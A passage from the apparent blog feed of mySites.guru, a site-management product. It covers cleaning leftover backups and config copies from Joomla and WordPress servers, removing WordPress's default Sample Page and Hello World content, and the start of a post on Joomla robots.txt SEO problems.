&lt;p&gt;Also check that your &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files&lt;/a&gt; are clean - attackers sometimes use dot-prefixed filenames to hide backup files and SQL dumps in plain sight.&lt;/p&gt;
&lt;h2&gt;How Do You Prevent These Files From Accumulating?&lt;/h2&gt;
&lt;p&gt;Cleaning up once is necessary. Preventing the problem from recurring is better.&lt;/p&gt;
&lt;h3&gt;Use Offsite Backups&lt;/h3&gt;
&lt;p&gt;Stop creating backups that live on the same server as your site. Use a backup tool that stores archives offsite, whether that’s cloud storage, a remote server, or a local machine. mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;backup feature&lt;/a&gt; stores backups outside your webspace, so there’s never an archive file sitting in a publicly accessible directory.&lt;/p&gt;
&lt;p&gt;If you use Akeeba Backup, configure it to use a remote storage profile (Amazon S3, Dropbox, Google Drive, or any other supported backend) and enable the option to delete the local archive after successful transfer.&lt;/p&gt;
&lt;h3&gt;Create a Post-Migration Checklist&lt;/h3&gt;
&lt;p&gt;Every time you migrate a site, the final step should be deleting the migration artifacts from the destination server. The archive file, the SQL dump, any temporary files created during the import - all of it. Make this part of the process, not an afterthought.&lt;/p&gt;
&lt;h3&gt;Configure PHP Error Logging Properly&lt;/h3&gt;
&lt;p&gt;Set up your PHP error log path once, correctly, and this problem goes away permanently. Point errors to a log file outside your document root and set up log rotation so the file doesn’t grow indefinitely.&lt;/p&gt;
&lt;h3&gt;Schedule Regular Audits&lt;/h3&gt;
&lt;p&gt;The best defense against forgotten files is regular, automated scanning. &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;Schedule your mySites.guru audits&lt;/a&gt; to run weekly or monthly, and review the results. Files that shouldn’t be there will be flagged before they become a problem.&lt;/p&gt;
&lt;h3&gt;Block Dangerous Extensions at the Server Level&lt;/h3&gt;
&lt;p&gt;Add a server-wide rule to block downloads of common dangerous file types. In your root &lt;code&gt;.htaccess&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;&amp;lt;FilesMatch &lt;/span&gt;&lt;span&gt;&quot;\.(sql|sql\.gz|sql\.zip|tar|tar\.gz|tgz|jpa|jps|bak|old|save|swp|swo)$&quot;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  Require&lt;/span&gt;&lt;span&gt; all denied&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;lt;/FilesMatch&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This won’t protect you from every possible filename, but it covers the most common patterns and adds a safety net for files that slip through other preventive measures. If your site legitimately serves downloadable ZIP files (product manuals, resource packs, etc.), remove &lt;code&gt;zip&lt;/code&gt; from the list or scope the rule to specific directories rather than the whole site. The point is to block by default and allow by exception, not the other way around.&lt;/p&gt;
&lt;h2&gt;What Are the Joomla-Specific Risks?&lt;/h2&gt;
&lt;p&gt;Joomla sites face some specific challenges with leftover files.&lt;/p&gt;
&lt;h3&gt;The configuration.php Problem&lt;/h3&gt;
&lt;p&gt;Joomla’s &lt;code&gt;configuration.php&lt;/code&gt; is one of the most sensitive files on any web server. It contains database credentials, the secret salt used for session security, SMTP passwords, FTP credentials (if configured), and the temp and log directory paths. A renamed copy of this file (&lt;code&gt;configuration.php.bak&lt;/code&gt;, &lt;code&gt;configuration.php.old&lt;/code&gt;, &lt;code&gt;configuration.php.dist&lt;/code&gt;) serves all of those secrets as plain text.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla Security Centre&lt;/a&gt; has published advisories about configuration file exposure, and penetration testing tools like DirBuster and Gobuster include &lt;code&gt;configuration.php.bak&lt;/code&gt; in their default wordlists. This is one of the first things any scanner checks for on a Joomla site.&lt;/p&gt;
&lt;h3&gt;Akeeba Backup Archive Exposure&lt;/h3&gt;
&lt;p&gt;As mentioned earlier, Akeeba Backup’s default storage directory is inside &lt;code&gt;administrator/components/com_akeeba/backup/&lt;/code&gt;. On Apache with the default &lt;code&gt;.htaccess&lt;/code&gt;, this directory is protected. But protection depends on:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;.htaccess&lt;/code&gt; file existing and being intact&lt;/li&gt;
&lt;li&gt;Apache being configured to process &lt;code&gt;.htaccess&lt;/code&gt; files (&lt;code&gt;AllowOverride&lt;/code&gt; not set to &lt;code&gt;None&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;The server actually being Apache (Nginx and LiteSpeed ignore &lt;code&gt;.htaccess&lt;/code&gt; entirely)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If any of those conditions aren’t met, every backup archive Akeeba has ever created on that site is downloadable. We’ve seen sites with dozens of JPA archives spanning years of backups, all publicly accessible, totalling gigabytes of complete site snapshots.&lt;/p&gt;
&lt;h3&gt;Extension Installation Packages&lt;/h3&gt;
&lt;p&gt;When you install a Joomla extension from a ZIP file, the package is sometimes left in the &lt;code&gt;/tmp/&lt;/code&gt; directory. Joomla is supposed to clean these up, but it doesn’t always succeed, especially if the temp directory path is wrong or permissions are off. Over time, &lt;code&gt;/tmp/&lt;/code&gt; accumulates installation packages that reveal exactly which extensions you run and at what versions. That’s useful intelligence for an attacker looking for known vulnerabilities. Leftover installers are not the only way files get there: a buggy extension can let a stranger write to it too, which is exactly what &lt;a href=&quot;https://mysites.guru/blog/joomgallery-unauthenticated-file-upload/&quot;&gt;the JoomGallery upload flaw&lt;/a&gt; allowed, so a file in &lt;code&gt;/tmp/&lt;/code&gt; you cannot account for needs investigating rather than deleting.&lt;/p&gt;
&lt;p&gt;The mySites.guru audit’s &lt;a href=&quot;https://mysites.guru/blog/how-to-automatically-remove-fluff-files-after-joomla-updates/&quot;&gt;fluff files tool&lt;/a&gt; can clean up some of this debris automatically after Joomla updates, but the &lt;code&gt;/tmp/&lt;/code&gt; directory is worth checking manually during your periodic review.&lt;/p&gt;
&lt;h2&gt;Is This Only a Joomla Problem?&lt;/h2&gt;
&lt;p&gt;Everything in this guide applies equally to WordPress sites. The file types are the same (ZIP archives, SQL dumps, PHP error logs, renamed config files), the risks are the same, and the cleanup process is identical. The only difference is the filenames: &lt;code&gt;wp-config.php.bak&lt;/code&gt; instead of &lt;code&gt;configuration.php.bak&lt;/code&gt;, and &lt;code&gt;wp-content/&lt;/code&gt; instead of &lt;code&gt;/administrator/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;WordPress sites accumulate the same dangerous artifacts from migrations, manual backups, and developer troubleshooting. If anything, WordPress sites are targeted more often because there are more of them, which means automated scanners have longer wordlists of common WordPress backup filenames to try.&lt;/p&gt;
&lt;p&gt;mySites.guru runs the same file-level security audit on WordPress sites as it does on Joomla. The archive files tool, SQL dump detection, error log finder, and large files tool all work across both platforms. If you &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;manage multiple WordPress sites&lt;/a&gt; alongside your Joomla sites, every audit covers both, and the dashboard shows results for all your sites in one place.&lt;/p&gt;
&lt;h2&gt;Connecting to your broader security posture&lt;/h2&gt;
&lt;p&gt;Leftover files aren’t an isolated problem. They’re usually a symptom of a broader gap in operational discipline, and that gap tends to show up in other areas too.&lt;/p&gt;
&lt;p&gt;If archive files and SQL dumps are sitting on your server, what else has been overlooked? Are your &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Joomla extensions up to date&lt;/a&gt;? Is your PHP version current? Are your &lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;security headers configured correctly&lt;/a&gt;? Are there &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files&lt;/a&gt; that need investigation?&lt;/p&gt;
&lt;p&gt;The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice checks&lt;/a&gt; cover all of these areas in a single audit. Dangerous files are one category among many, and addressing them alongside everything else is what turns a one-off cleanup into an ongoing security practice.&lt;/p&gt;
&lt;p&gt;If you manage dozens or hundreds of Joomla sites, this compounds fast. One forgotten archive on one site is a manageable risk. Forgotten archives across 50 sites, accumulated over years of migrations and updates, is a systemic exposure that you probably don’t even know the full extent of until you scan everything.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://wstg.owasp.org/v4.2/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information&quot;&gt;Review Old Backup and Unreferenced Files for Sensitive Information&lt;/a&gt; - OWASP’s full testing guide for finding backup files and unreferenced resources on web servers&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Security_Checklist/Hosting_and_Server_Setup&quot;&gt;Joomla Security Checklist: Hosting and Server Setup&lt;/a&gt; - Official Joomla documentation on server-level security configuration&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/manual/en/errorfunc.configuration.php&quot;&gt;PHP error_log Configuration&lt;/a&gt; - PHP manual reference for controlling where error logs are written&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/april-2021/best-practices-to-secure-your-joomla-website&quot;&gt;Best Practices to Secure Your Joomla Website&lt;/a&gt; - Joomla Community Magazine guide covering file permissions, configuration protection, and more&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Take Action Now&lt;/h2&gt;
&lt;p&gt;If you’ve read this far and you’re thinking “I should probably check my servers,” you’re right. You should.&lt;/p&gt;
&lt;h3&gt;Already Using mySites.guru?&lt;/h3&gt;
&lt;p&gt;Run an audit on your sites and look at the archive files, SQL dumps, and error logs results. Clean up whatever you find. Then &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;schedule regular audits&lt;/a&gt; so you catch new files before they become a long-term exposure.&lt;/p&gt;
&lt;h3&gt;Not Using mySites.guru Yet?&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; on any Joomla or WordPress site, no credit card, no commitment. The audit will tell you exactly what’s sitting on your server that shouldn’t be.&lt;/p&gt;
&lt;h3&gt;Want a Thorough Review?&lt;/h3&gt;
&lt;p&gt;Check the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;full feature list&lt;/a&gt; to see everything mySites.guru covers, or &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;reach out to Phil directly&lt;/a&gt; if you’d like a hand going through your results.&lt;/p&gt;
&lt;p&gt;The files are already there. The question is whether you find them before someone else does.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Part of our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;complete security guide for agencies&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>cleanup</category><category>archive files</category><category>sql dumps</category><category>joomla</category><category>wordpress</category><enclosure url="https://mysites.guru/img/og/blog/how-to-clean-up-dangerous-files-joomla-server.webp" length="0" type="image/webp"/></item><item><title>How to Remove the Sample Page and Hello World Post in WordPress with One Click</title><link>https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/</link><guid isPermaLink="true">https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/</guid><description>Every WordPress install ships with a Sample Page and Hello World post. Learn why they hurt SEO and how mySites.guru removes them across all your sites.</description><pubDate>Tue, 24 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;The default content no one remembers to delete&lt;/h2&gt;
&lt;p&gt;Every WordPress installation ships with two pieces of placeholder content: a page called “Sample Page” and a post titled “Hello World!” They’re meant to show new users how pages and posts work, but in practice both get forgotten. Site owners move on to creating real content, and the defaults sit there indefinitely, indexed by Google, visible to visitors, and broadcasting that no one cleaned up after the install.&lt;/p&gt;
&lt;p&gt;mySites.guru’s WordPress Configuration audit detects both the Sample Page and Hello World post across all your connected sites, and lets you remove them with one click through the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;connector plugin&lt;/a&gt;. No wp-admin login required. If you’re managing dozens of sites, you can see exactly which ones still have default content from a single dashboard, then fix them one by one without opening a single WordPress admin panel. &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Try a free audit&lt;/a&gt; to see what your sites look like.&lt;/p&gt;
&lt;p&gt;The Sample Page contains placeholder text about “The XYZ Doohickey Company” and a bike messenger, while the Hello World post is just a single sentence inviting you to delete it. Here’s the full default text:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/sample-page-wordpress-default-text.BNqzyOiS_2ml4X8.webp&quot; srcset=&quot;https://mysites.guru/_astro/sample-page-wordpress-default-text.BNqzyOiS_Z1BIgnM.webp 640w, https://mysites.guru/_astro/sample-page-wordpress-default-text.BNqzyOiS_Z1P3kl2.webp 750w, https://mysites.guru/_astro/sample-page-wordpress-default-text.BNqzyOiS_2fGfit.webp 828w, https://mysites.guru/_astro/sample-page-wordpress-default-text.BNqzyOiS_RzVII.webp 1080w, https://mysites.guru/_astro/sample-page-wordpress-default-text.BNqzyOiS_ZEB9Oz.webp 1280w, https://mysites.guru/_astro/sample-page-wordpress-default-text.BNqzyOiS_ZCw6hP.webp 1668w, https://mysites.guru/_astro/sample-page-wordpress-default-text.BNqzyOiS_BPXGT.webp 2048w, https://mysites.guru/_astro/sample-page-wordpress-default-text.BNqzyOiS_2ml4X8.webp 2054w&quot; alt=&quot;The default WordPress Sample Page content, including placeholder text about the XYZ Doohickey Company and a bike messenger&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2054px) 2054px, 100vw&quot; width=&quot;2054&quot; height=&quot;1372&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;How mySites.guru detects and removes WP default content&lt;/h2&gt;
&lt;p&gt;mySites.guru splits this into two audit checks, each with its own fix button.&lt;/p&gt;
&lt;p&gt;The pivot page shows you the status of every WordPress site at once, so you can see which ones still have default content without opening each site individually:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/sample-page-pivot-all-sites.DKj2E1RS_2b9XlN.webp&quot; srcset=&quot;https://mysites.guru/_astro/sample-page-pivot-all-sites.DKj2E1RS_ZTec1p.webp 640w, https://mysites.guru/_astro/sample-page-pivot-all-sites.DKj2E1RS_Zu4yTo.webp 750w, https://mysites.guru/_astro/sample-page-pivot-all-sites.DKj2E1RS_Uh5m3.webp 828w, https://mysites.guru/_astro/sample-page-pivot-all-sites.DKj2E1RS_ZBDD3Q.webp 1080w, https://mysites.guru/_astro/sample-page-pivot-all-sites.DKj2E1RS_27dQqo.webp 1280w, https://mysites.guru/_astro/sample-page-pivot-all-sites.DKj2E1RS_2jpViO.webp 1668w, https://mysites.guru/_astro/sample-page-pivot-all-sites.DKj2E1RS_Z2l0KGd.webp 2048w, https://mysites.guru/_astro/sample-page-pivot-all-sites.DKj2E1RS_2b9XlN.webp 2400w&quot; alt=&quot;mySites.guru pivot page showing the Remove The Default Sample Page check across all WordPress sites, with OK and 1 Issue status badges for each site&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2400px) 2400px, 100vw&quot; width=&quot;2400&quot; height=&quot;1515&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Click “Investigate” on any flagged site to see the issue details with a one-click fix button. One click later, the check goes green:&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/sample-page-investigate-fix.KQ3UHemJ_ZolsHD.webp&quot; alt=&quot;mySites.guru investigate view showing an orange warning that the sample page post is still present, with an Auto-Magically Fix This For Me button&quot; loading=&quot;lazy&quot; width=&quot;1072&quot; height=&quot;996&quot; /&gt;&lt;/div&gt;&lt;p&gt;Issue detected&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/sample-page-fix-success.y0wIdYvu_1NPspY.webp&quot; alt=&quot;mySites.guru success view showing a green checkmark confirming the WordPress site no longer has the sample page&quot; loading=&quot;lazy&quot; width=&quot;958&quot; height=&quot;1066&quot; /&gt;&lt;/div&gt;&lt;p&gt;Fixed in one click&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This works the same way as the &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;one-click toggles for debug constants&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;removing the WordPress logo from the admin bar&lt;/a&gt; - the dashboard flags the issue and you fix it without logging into wp-admin.&lt;/p&gt;
&lt;h3&gt;Why two separate checks?&lt;/h3&gt;
&lt;p&gt;Some sites might have repurposed the Sample Page with real content (renamed it, changed the slug, kept the page ID). Others might have deleted one but not the other. Separate checks give you accurate reporting for each piece of default content.&lt;/p&gt;
&lt;h3&gt;Automatic detection on new sites&lt;/h3&gt;
&lt;p&gt;Every time you connect a new WordPress site to mySites.guru, the first snapshot catches default content automatically. No checklist needed.&lt;/p&gt;
&lt;p&gt;This matters when you:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Inherit existing sites from other developers or hosting providers&lt;/li&gt;
&lt;li&gt;Build sites from starter templates that may or may not clean up defaults&lt;/li&gt;
&lt;li&gt;Push staging sites to production where test content might slip through&lt;/li&gt;
&lt;li&gt;Onboard client sites that have been “live” for months with no one noticing the leftover content&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why default WordPress content actually matters&lt;/h2&gt;
&lt;p&gt;Search engines index everything they can find. A “Sample Page” with boilerplate text like “This is an example page” competes with your actual content for crawl budget. On small sites, that’s a real percentage of your indexed pages being worthless filler. Delete them rather than reaching for robots.txt, because &lt;a href=&quot;https://mysites.guru/blog/robots-txt-for-joomla-and-wordpress/&quot;&gt;a Disallow will not get an already-indexed page back out&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This is not a hypothetical problem. A quick search shows default WordPress content indexed on government websites:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/sample-page-gov-sites-google.CvDT9cXo_1fwR60.webp&quot; srcset=&quot;https://mysites.guru/_astro/sample-page-gov-sites-google.CvDT9cXo_eJiV0.webp 640w, https://mysites.guru/_astro/sample-page-gov-sites-google.CvDT9cXo_19NHzk.webp 750w, https://mysites.guru/_astro/sample-page-gov-sites-google.CvDT9cXo_ZMQWrH.webp 828w, https://mysites.guru/_astro/sample-page-gov-sites-google.CvDT9cXo_Z1B3IKA.webp 1080w, https://mysites.guru/_astro/sample-page-gov-sites-google.CvDT9cXo_Xw3jH.webp 1280w, https://mysites.guru/_astro/sample-page-gov-sites-google.CvDT9cXo_1fwR60.webp 1362w&quot; alt=&quot;Google search results showing .gov websites with WordPress Sample Page still indexed, including bernco.gov, Lewis County Clerk (Kentucky), National Center for Homeless Education, and Utah Juvenile Justice&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1362px) 1362px, 100vw&quot; width=&quot;1362&quot; height=&quot;1182&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;The Jersey connection&lt;/h2&gt;
&lt;p&gt;It is just as common on business and nonprofit websites. Here are eight Jersey (.je) sites, all with the default Sample Page sitting in Google’s index:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/sample-page-jersey-sites-google.exXnW7xo_Z1P28Ut.webp&quot; srcset=&quot;https://mysites.guru/_astro/sample-page-jersey-sites-google.exXnW7xo_Z1eoFso.webp 640w, https://mysites.guru/_astro/sample-page-jersey-sites-google.exXnW7xo_2wxiLW.webp 750w, https://mysites.guru/_astro/sample-page-jersey-sites-google.exXnW7xo_rbAmH.webp 828w, https://mysites.guru/_astro/sample-page-jersey-sites-google.exXnW7xo_Z1D6LLE.webp 1080w, https://mysites.guru/_astro/sample-page-jersey-sites-google.exXnW7xo_vzif7.webp 1280w, https://mysites.guru/_astro/sample-page-jersey-sites-google.exXnW7xo_Z1ExJcI.webp 1668w, https://mysites.guru/_astro/sample-page-jersey-sites-google.exXnW7xo_Z1P28Ut.webp 1766w&quot; alt=&quot;Google search results showing eight Jersey (.je) websites with default WordPress Sample Page still indexed, including Carte Blanche, Brightly, Homelessness Jersey, The Watchmaker, The View, JACC, Lotus House, and Spot The Red Flags&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1766px) 1766px, 100vw&quot; width=&quot;1766&quot; height=&quot;2752&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Google’s helpful content updates have made thin, low-value content a bigger ranking factor than ever. Pages with no useful content can actively hurt your site’s overall quality signals. If you’re already working on &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;WordPress configuration best practices&lt;/a&gt;, removing default content should be near the top of your list.&lt;/p&gt;
&lt;h2&gt;Professional appearance and security&lt;/h2&gt;
&lt;p&gt;If a potential client visits your WordPress site and finds a “Hello World!” post dated the day you installed WordPress, it undermines trust. It says “this site isn’t maintained carefully.” For agencies building sites for clients, leaving default content behind is the digital equivalent of leaving scaffolding up after the building is finished.&lt;/p&gt;
&lt;p&gt;Default content also confirms a site runs WordPress and suggests the setup was not done thoroughly. Automated scanners look for signals like this to identify targets that might have other default settings left unchanged - like default admin usernames, exposed wp-config backups, or enabled XML-RPC. The same principle applies to &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;leaving debug mode enabled on production&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;allowing unrestricted plugin installs&lt;/a&gt; - each leftover default is a signal that the site might have more low-hanging fruit.&lt;/p&gt;
&lt;h2&gt;Removing default content the manual way&lt;/h2&gt;
&lt;p&gt;In a single WordPress admin, it takes about 30 seconds:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;Posts &amp;gt; All Posts&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Trash the “Hello World!” post&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;Pages &amp;gt; All Pages&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Trash the “Sample Page”&lt;/li&gt;
&lt;li&gt;Empty the trash for both&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now do that for every WordPress site you manage. Log into each one, navigate to the right screen, delete the content, empty the trash. For 50 sites, that’s 50 separate login sessions.&lt;/p&gt;
&lt;p&gt;And if you’re onboarding new sites regularly, you need to remember to check every new installation. This is the same scaling problem that makes &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;managing multiple WordPress sites&lt;/a&gt; from individual admin panels unsustainable.&lt;/p&gt;
&lt;h2&gt;Part of a bigger cleanup&lt;/h2&gt;
&lt;p&gt;Default content is one of many things the WordPress Configuration audit catches. Other items in the “should have been cleaned up at install” category:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;XML-RPC still enabled&lt;/strong&gt; - an old API surface that most sites don’t need and attackers actively target&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;Debug mode left on&lt;/a&gt;&lt;/strong&gt; - exposes error details and can leak sensitive paths&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Database repair endpoint exposed&lt;/strong&gt; - allows unauthenticated access to &lt;code&gt;wp-admin/maint/repair.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;File editing enabled&lt;/a&gt;&lt;/strong&gt; in the admin - lets any admin user modify PHP files directly&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;Uncontrolled automatic updates&lt;/a&gt;&lt;/strong&gt; - can break sites overnight with untested upgrades&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;They all work the same way: detected during snapshots, reported in the audit, fixable with one click through the connector. For a complete picture of what the &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit covers&lt;/a&gt;, including deep file scanning and hack detection, see our audit tools overview.&lt;/p&gt;
&lt;h2&gt;Scaling cleanup across a portfolio&lt;/h2&gt;
&lt;p&gt;For agencies and freelancers managing 20, 50, or 200+ WordPress sites, the real value is the confidence that none of your sites have this issue, and the automatic detection when a new site does.&lt;/p&gt;
&lt;p&gt;Combined with the other WordPress Configuration checks, you can bring every new site up to your baseline standard within minutes of connecting it. No post-install checklist, no “I’ll get to it later” items that never get done.&lt;/p&gt;
&lt;p&gt;If you’re building a consistent management workflow across a portfolio of client sites, start with our guide to &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;managing multiple WordPress sites like a pro&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/advanced-administration/before-install/howto-install/#step-5-run-the-install-script&quot;&gt;WordPress Codex: First Steps with WordPress&lt;/a&gt; - The official installation guide that creates the default content in Step 5&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.google.com/search/docs/essentials/spam-policies#thin-content&quot;&gt;Google Search Central: Thin Content&lt;/a&gt; - Google’s spam policies on pages with little or no added value&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wpexplorer.com/wordpress-launch-checklist/&quot;&gt;WPExplorer: WordPress Launch Checklist&lt;/a&gt; - Pre-launch checklist that includes deleting dummy content like Sample Page and Hello World&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>cleanup</category><category>sample content</category><category>site management</category><category>seo</category><enclosure url="https://mysites.guru/img/og/blog/remove-sample-page-hello-world-wordpress-one-click.webp" length="0" type="image/webp"/></item><item><title>How to Check if Your Joomla Site&apos;s robots.txt is Hurting Your SEO</title><link>https://mysites.guru/blog/how-to-check-joomla-robots-txt-seo/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-check-joomla-robots-txt-seo/</guid><description>Joomla&apos;s default robots.txt blocks media and template folders from search engines, killing your image SEO. Here&apos;s how to fix it.</description><pubDate>Wed, 18 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;There’s a small text file sitting in the root of almost every Joomla site on the web. It’s called &lt;code&gt;robots.txt&lt;/code&gt;, and there’s a decent chance yours is actively hurting your search rankings without you knowing.&lt;/p&gt;
&lt;p&gt;The default &lt;code&gt;robots.txt&lt;/code&gt; that shipped with older Joomla versions tells Google to stay away from your &lt;code&gt;/media/&lt;/code&gt; and &lt;code&gt;/templates/&lt;/code&gt; folders. That means your images won’t show up in Google Image Search, and Google can’t properly render your pages to assess their quality. Both of those things cost you traffic.&lt;/p&gt;
&lt;p&gt;mySites.guru checks this automatically on every &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; across all your connected sites, flags the problem, and can fix it with a single click. But even if you’re not using mySites.guru yet, this post covers how to audit your Joomla site’s &lt;code&gt;robots.txt&lt;/code&gt; for SEO problems and fix what you find.&lt;/p&gt;
&lt;h2&gt;How Does mySites.guru Catch robots.txt Problems?&lt;/h2&gt;
&lt;h3&gt;Automatic snapshot check&lt;/h3&gt;
&lt;p&gt;Every time mySites.guru runs a &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; on your Joomla site (twice daily by default, or on demand) it reads your &lt;code&gt;robots.txt&lt;/code&gt; and checks whether the file contains &lt;code&gt;Disallow&lt;/code&gt; statements for &lt;code&gt;/media/&lt;/code&gt; or &lt;code&gt;/templates/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If either is found, the snapshot flags it as an issue: “Your robots.txt File Should Not Restrict Media &amp;amp; Template Folders.” The check appears in the Joomla Configuration section alongside other &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice&lt;/a&gt; checks, with a clear pass/fail indicator and trend tracking that shows whether the status has changed since the last snapshot.&lt;/p&gt;
&lt;p&gt;When the check passes, you get a clear green confirmation:&lt;/p&gt;
